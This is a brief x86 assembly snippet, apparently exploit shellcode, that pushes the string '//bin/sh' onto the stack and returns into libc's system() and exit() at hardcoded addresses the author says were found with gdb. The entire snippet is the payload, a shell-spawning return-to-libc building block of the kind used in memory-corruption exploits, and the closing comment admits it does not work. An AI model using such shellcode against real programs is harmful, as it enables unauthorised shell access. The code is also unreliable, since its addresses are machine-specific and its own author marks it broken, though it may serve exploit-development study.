%define system 0xb7eaaf10 ; found with gdb
%define exit 0xb7e9e550 ; found with gdb
%define str_binsh0 0x68732f6e
%define str_binsh1 0x69622f2f

bits 32
xor eax, eax
push eax ; exit() parameter = 0
push eax ; string termination
push str_binsh0 ; string part
push str_binsh1 ; string part
push esp ; &"/bin/sh" - system() parameter
push exit ; address to return to after completion of system()
push system ; address to return to after completion of this func()
ret ; complete this func

; does not work